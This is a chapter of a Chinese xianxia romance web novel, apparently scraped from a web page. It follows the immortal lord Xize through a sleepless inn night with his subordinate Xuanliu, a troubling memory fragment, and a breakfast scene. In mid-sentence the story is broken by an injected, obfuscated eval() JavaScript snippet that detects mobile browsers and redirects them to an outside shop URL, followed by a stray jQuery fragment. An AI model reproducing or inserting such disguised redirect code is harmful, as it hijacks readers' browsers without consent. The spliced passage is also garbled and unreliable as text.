这客栈报价虽高,但确如那掌柜所说,室内装饰古雅大方,床褥被子也松软干净,就连送的饭菜,也甚是精致可口。
玄琉和长右吃了个肚皮滚圆。眼看着天色渐晚,匆匆洗漱了一番,又去要了床被子铺在地上。接着又把屏风挡到曦泽的床前,朝他笑眯眯地道:“好了!今晚我们就睡在外间保护君上!君上放心,属下睡眠极浅,有任何风吹草动,定会第一时间醒来!您且安心地休息吧!”
说完,一人一兽便齐齐躺倒在地上。
不一会儿,屋内便响起了长右节奏规律的呼噜声。曦泽坐在床前,心中不由冷哼:睡眠极浅?让他安心的睡?所以现在到底是谁睡得比较安心一点?
他无奈地摇了摇头,盘腿坐到床边,闭上了眼睛。将整个屋子由内到外布上一层淡色的防护结界,又于气海神阙中过了一遍云天仙法的招式。待一个时辰后,只觉得自己又进入到了一个新的境界,他才满意地睁开了眼,缓缓呼出口气来。
因着中毒的关系,曦泽本来还担忧云天仙法会因此而进度缓慢,遇到瓶颈。可如今看来,自己的仙法不仅没有受到丝毫影响,近来反而还精尽了几分。他缓缓抚上右臂,以此速度,若在参破这第七层时诱发血蛊,不知自己可能熬得过去?
只能见招拆招了。
人间的夜晚星子闪烁,银河璀璨。经过简单的洗漱,正准备上床的曦泽正好路过睡得四仰八叉的玄琉和长右身侧。
此刻的玄琉呈大字型趴在床铺之上,衣衫皱如乱麻,发丝如孔雀开屏,被子早已被她踢飞在了一边,腿上还搭着正睡得鼻涕泡直流的长右。
曦泽不禁在心底怀疑,以她这种狂放不羁的睡姿,真得不会被自己闷死吗。
哦,对,她如今已是仙身,是闷不死的。
他不忍直视地将被子重新盖回二人身上,摇了摇头,走到床边,和衣躺了上去。
夜里很静,可这屋内的呼噜声却吵得他怎样也睡不着,曦泽翻了个身,叹着气封闭了耳识。
他为何如此想不开要带着玄琉下界?
在睡着的前一秒,他还在无限忧愁的问着自己。
曦泽作息一向极为规律,可今日在床上翻来覆去了许久才勉强睡着,便不由睡得有些沉。后半夜,他正睡得迷迷糊糊,忽而,有一重物重重砸向他的腹部,直砸得他倒抽一口凉气,猛地睁开了眼。
他面皮紧皱,满脸不耐地向下一瞥。接着,蓦地瞪大了眼!
只见玄琉半个身子正趴倒在他肚子上。闭着眼正睡得极为香甜。
曦泽心中一惊,下意识地便一把将其推开。
这一推便将玄琉往床尾推近了几分,她借势两脚麻利地一抬,身子一翻便彻底地上到了床上。
曦泽立时如惊弓之鸟,猛地坐直了身子,迅速挪到了床边。
他深吸了口气,环顾四周,确定自己不是在做梦。
敢情这丫头是睡床睡习惯了?半夜睡着睡着还会自动往床上跑?
他不由又狠狠推了她一把。
没动。
又推一下,
还是没反应。
嚯……
霸占了别人的床,睡得还挺香?挺心安理得?
曦泽凑近她。须臾,再次狠狠一推。低声警告道:“下去!”
床上的玄琉终于有了反应,她闭着眼皱起眉头,面上表情有些不悦地团起曦泽身边的被子。
“我叫你下去!”曦泽凑近她耳边,沉着嗓子道。
他话音刚落,玄琉身子使劲地晃了晃,似是对他在她耳边说话这种行为极为不满!接着,她翻了个身,手顺势往半空某处一挥。
“啪”地一声轻响传来。
……
曦泽捂着一边脸,不可置信地盯着床上的女子。
“臭蚊子!不许叫。”玄琉闭着眼嘟囔了一句,往里挪了挪,将头埋进被子里,继续自己的深度睡眠。
曦泽怒极反笑地点着头:“好,你可真行!”
他感觉自己真是要疯了!被干扰着睡不着觉就算了,半夜还被抢了床铺!被抢了床铺就算了,还平白无故被打了一巴掌?
而且,行凶者还全然不知地睡如死猪?
曦泽再次深呼吸了一次,眯起眼睛看向霸占了大半边床的女子。
床上的女子发如水缎,容颜婉约。鸦羽般的眼睫卷翘纤长,与她雪白的肤色形成一种极致的鲜明对比。此刻,她睡得极为香甜,即使身在梦中,唇角依旧微微半勾着,模样与平日的狡黠灵动相比,多了一丝难得的柔软和娴静。
曦泽盘腿抱臂坐在床上,有生以来,第一次感受到深深地挫败感:“本君一定是得了失心疯,竟然会带着你出来折磨自己。”
他揉了揉太阳穴,自言自语地安慰着自己:“修行!就把此时此刻的遭遇当做一场修行就好。经此一劫,本君一定又会进入一个新的境界。”
床上的人才听不到他此刻的自我催眠和自我疏导。依旧浑然不觉地流着口水。须臾,似是觉得这样睡不太舒服,玄琉皱着眉翻了过来,手臂圈住曦泽的腰,将头埋到了他的腿边。
曦泽面上的表情一凝。
呼吸瞬间慢了半拍。
“修行……”曦泽墨眉紧拧。再次对自己说道。
可这丫头,人看着瘦弱,力气倒是颇大,曦泽推了两下,竟全然推不开她。他抿着唇,其实他倒是可以用仙法将她掀到地上,但此刻已是后半夜,加之她一个女子,若醒来发现自己此时的行为,定然会羞愧难耐,外加吓得一夜再也睡不着吧?
等等,他从何时何地,竟开始会替他人考虑了?
看着腿边睡着的玄琉。曦泽无语地叹了口气。他侧过脑袋,阖目靠向身后床柱,打算闭目养神一会儿。
可腿边的冤家今晚怕是打算不折磨死他便不罢休。
他方闭眼还没一会儿,腿边忽然开始响起了不轻不重的打鼾声。
曦泽闭眼皱了皱眉,忍着没动。
又过了片刻,那呼声骤然停了。曦泽方吐出口气,耳边又立时传来咯吱咯吱的磨牙声。
曦泽脸色有些发青,但依旧没有睁眼。
就在那磨牙声越来越响,频率越来越高时。女子身子忽而动了动,左手也顺势从他腰上的位置向下滑了方寸。
床上的曦泽突然似被闪电劈中一般,猛地弹了起来。
他将玄琉甩开老远,寒着脸大声斥道:“放肆!”
半晌的寂静,床上的女子却依旧动也未动一下。
曦泽只觉得一口气卡在胸口怎么也提不上来,他怒火中烧地指着玄琉,才不管她是否会被自己吵醒,忍无可忍道:“打嗝,磨牙,占男子便宜,还有什么是你不会干的事?”
“我晚上睡相可还好吗?”
“打嗝,磨牙,占我的便宜……你说说吧,还有什么是你不会干的事呀?”
一道模糊的片段骤然重进他的脑际。
男子躺在床上,唇角含笑,拉长了语调逗着怀里圈着的女子。
女子害羞地捏紧了衣袖,转身猛地将头埋进被子里。
男子笑得胸腔微微震动,他极为开怀地将女子从被子里翻了出来,捞进自己怀里紧紧地抱住。
这突如其来的画面令他头皮一阵阵的发紧,如同万道雷光同时劈向自己的天灵盖,直疼得曦泽一时连话都无法说得出来。
怎么回事?已经是第二次了。为何会有这样的画面钻入他的脑海?
虽然那画面隔着浓浓云雾,令他看不清五官。但他知道,那里的男子就是自己。
他自己的声音,他如何能不认得?
可他有生以来,向来严谨端方,不苟言笑。又何时用过那种充满调笑的语气同别人说过话?
还有他对被自己紧紧圈在怀里的女子那种沉甸甸地,发自内心、深入骨髓的喜欢,他完全能感受的到。
那女子是谁?
是他放在云天七层神识中的那副画里的女子吗?
难道自己真得曾经喜欢过一个人,到这样的地步吗?
站在满室狼藉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639617|179500||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中的曦泽,有生以来,第一次感受到了惶恐的滋味。
玄琉醒来时已是日上三竿,房内静悄悄地,只她一人。
她眨了眨眼,反应了一会儿才慢慢坐起身,瞥了眼曦泽床上叠放地整整齐齐的被褥,不由地啧啧两声,默默地将身下皱如树皮般的床铺也端端正正地叠好,才下了楼去。
此刻的曦泽正坐在一楼靠窗的位置慢慢喝着碗里的白粥。注意到他桌前摆放的丰盛早点,玄琉立刻一阵风似的飘到他对面的位置坐好,笑眯眯地道:“君上,早呀!”
长右抱了块油糕嚼地正欢,有些吐字不清地说道:“睡到巳时才起,你可真是好意思呀玄玄!”
玄琉微笑着将油糕往它嘴里狠狠又塞入了几分,道:“吃你的吧!”
再抬头时,忽而注意到曦泽眼下两道浓郁的乌青,玄琉惊奇地说道:“君上怎么看起来很没精神的样子呀,莫非是昨晚没休息好吗?”
闻言,曦泽抬眸看了她一眼。而后,又低下头,打了个哈欠,懒懒地道:“嗯,昨夜有只野猫,挺闹腾的,吵得人睡不着。”
“有野猫吗?”玄琉有些吃惊:“我竟然没听到呢。”
曦泽唇角勾出个凉凉的弧度,“呵呵”了两声,算是回答。
“就你那沾床雷打都不动的睡眠习惯,能听到才算是见了鬼了,别说是夜猫了,老虎你也听不见呀玄玄!”长右忙不迭地吐槽道。
一旁的曦泽无言地超长右比了个大拇指表示赞同。
玄琉有些讪讪地:“这个……真是不好意思。昨夜确实是睡得有点香。”
曦泽再次看向她,冷笑着点了点头:“嗯,看出来了。”
没注意到曦泽眼中的嘲讽,玄琉又扭头朝长右道:“不过你还真别说,这房间贵还真是有贵的好处呢,就说昨天咱们身下铺的那被褥吧,真是又松软又暖和。躺在上面睡一整晚,丝毫不觉腰酸背痛,就跟睡在床上差不多嘛!”
长右:“有吗?我怎么不觉得。”
曦泽侧过头,淡淡道:“她不需要你觉得,她只要她觉得。”
玄琉瞅着曦泽,压低声音,试探着问道:“君上,您是因为没有休息好。所以心情也不好吗?”
曦泽面无表情道:“没有。”
“哦。”玄琉吐吐舌头,朝一旁的长右小声咬耳朵:“我怎么觉得君上今天有点针对我呢?”
长右:“有吗?我怎么不觉得?……哦,对,你只要你觉得就好了,不用问我。”
玄琉哼哼两声,低声嘟囔道:“沆瀣一气,联合起来欺负我!”
她皱着鼻子使劲啃着手里的包子,咀嚼声咯吱咯吱地,那模样,倒似是在幻想咬着谁的脖子一般。
对面的曦泽忽而想起了什么似的,抬起头,盯着她开口问道:
“你年岁几何?”
玄琉“啊?了一声,似是没有反应过来,含着包子愣愣地看着他。
曦泽眼眨也不眨,又道:“或者,我应该换个问法,你芳龄多大?”
玄琉呼吸一窒,包子瞬间呛在了喉咙眼儿,她连连咳嗽着摆手道:“属下……咳……属下八百岁了君上……”
对面的曦泽眉头皱了皱,“哦”了一声。
心底却是缓缓松了口气。
他真是走火入魔了,竟觉得自己和玄琉之前会有些什么,她才不到一千岁,搜寻一下近一千年来自己所有的行迹,根本不可能与之会有交集。
可镜中,她刺向自己的那一剑,却又极为清晰地浮在自己眼前。
难不成,自己会死在这么个小丫头手里?
会吗?
曦泽直勾勾地盯着玄琉。
后者一脸疑惑道:“君上怎么突然问起这个?”
“没什么。”曦泽挑了下眉,面上没有多余表情:“想起来栖霞宫内有些水系仙法典籍,于你这个年岁修习正好,待回去后本君拿给你吧。”
能有机会白拿曦泽的典籍,玄琉心中自是高兴不已,忙欢欢喜喜地朝他道:“那就提前谢过君上了。”